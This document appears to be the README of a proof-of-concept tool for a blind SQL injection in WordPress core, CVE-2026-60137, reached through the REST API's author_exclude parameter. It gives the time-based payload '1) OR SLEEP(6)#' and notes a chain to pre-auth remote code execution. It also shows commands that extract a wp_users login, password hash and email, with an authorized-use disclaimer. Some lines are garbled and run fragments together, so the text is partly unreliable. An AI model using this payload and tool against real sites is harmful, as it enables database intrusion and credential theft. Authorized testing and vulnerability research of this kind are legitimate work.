
Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a blind SQL injection in WordPress core (`WP_Query::author__not_in`), reachable via the REST API's `author_exclude` parameter.
Non-destructive proof-of-concept and verification harness for CVE-2026-60137, a
blind SQL injection in WordPress core (WP_Query::author__not_in), reachable via the
REST API's author_exclude parameter.
WP_Query::get_posts() builds SQL by string-concatenating the author__not_in query
variable into:
... AND {wpdb->posts}.post_author NOT IN ( <value> )
The value is sanitized (per-element absint) only when it arrives as an array. If a
scalar string is delivered — the REST author_exclude parameter maps internally to
author__not_in — the sanitization guard is skipped and the raw string
lands inside the clause, resulting in SQL injection ().
is_array()NOT IN (...)A payload of the form 1) OR SLEEP(6)# produces:
post_author NOT IN ( 1) OR SLEEP(6)# )
which parses as post_author NOT IN (1) OR SLEEP(6) (the trailing ) is consumed by
the # comment) — a clean, time-based blind oracle with zero database writes.
| Affected | 6.8.0 – 6.8.5, 6.9.0 – 6.9.4, 7.0.0 – 7.0.1 |
| Fixed | 6.8.6, 6.9.5, 7.0.2 (2026-07-17) |
| CVSS 3.1 | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N → 5.9 (standalone sink) |
| Chained | with CVE-2026-63030 (REST batch route confusion) → 9.8 pre-auth RCE on 6.9.0 – 7.0.1 |
/wp-json/batch/v1 route confusion.author_exclude (HTTP 400) on the stock
posts route, so the sink is typically reachable only when a plugin/theme forwards
untrusted input, or through an authenticated session (--cookie) via the batch route.cve_2026_60137_poc.py is read-only against the database:
readme.html, /wp-json/
index) to check whether the version is in an affected range.SLEEP(0)
parse-control vs. a SLEEP(n) payload, across several delivery vectors (direct REST
routes, ?rest_route=, and the batch endpoint), and reports a verdict per vector.wp_users row (user_login, user_pass, user_email) via
blind binary-search timing, strictly using SELECT/SLEEP — it never writes to the
database.# Fingerprint only, no payloads sent
python3 cve_2026_60137_poc.py --url https://target --safe
# Run the detection matrix
python3 cve_2026_60137_poc.py --url https://target --sleep 6 --samples 3
# Authenticated session + extract wp_users row 1
python3 cve_2026_60137_poc.py --url https://target \
--cookie 'wordpress_logged_in_XXX=YYY' --extract --user-id 1
# Route through Burp, skip TLS verification, save machine-readable evidence
python3 cve_2026_60137_poc.py --url https://target \
--proxy http://127.0.0.1:8080 --no-verify-tls --json-out evidence.json
| Flag | Default | Description |
|---|---|---|
--url | required | Target base URL |
--safe | off | Fingerprint only; send no payloads |
--sleep | 6 | SLEEP() seconds used by the detection oracle |
--samples | 3 | Timing samples per measurement (median is used) |
--threshold | 0.7 | Fraction of --sleep treated as a positive delta |
--extract | off | Extract a wp_users row via the blind oracle |
--user-id | 1 | wp_users.ID to extract |
--extract-sleep | 2.0 | SLEEP() seconds per extraction probe |
--limit | 64 | Max characters per extracted field |
--only-vector | — | Only test vectors whose name contains this string |
--cookie | — | Authenticated cookie for auth-gated vectors |
--proxy | — | HTTP(S) proxy, e.g. http://127.0.0.1:8080 (Burp) |
--timeout | 30 | Request timeout in seconds |
--no-verify-tls | off | Disable TLS certificate verification |
--json-out | — | Write machine-readable evidence to a JSON file |
This tool is provided for authorized security testing only — penetration tests, CTFs, and research against systems you own or have explicit written permission to assess. Running it against systems without authorization is illegal. The author accepts no liability for misuse.
Any output written with --json-out may contain the tested URL, version fingerprint,
and timing evidence — treat it as sensitive engagement data.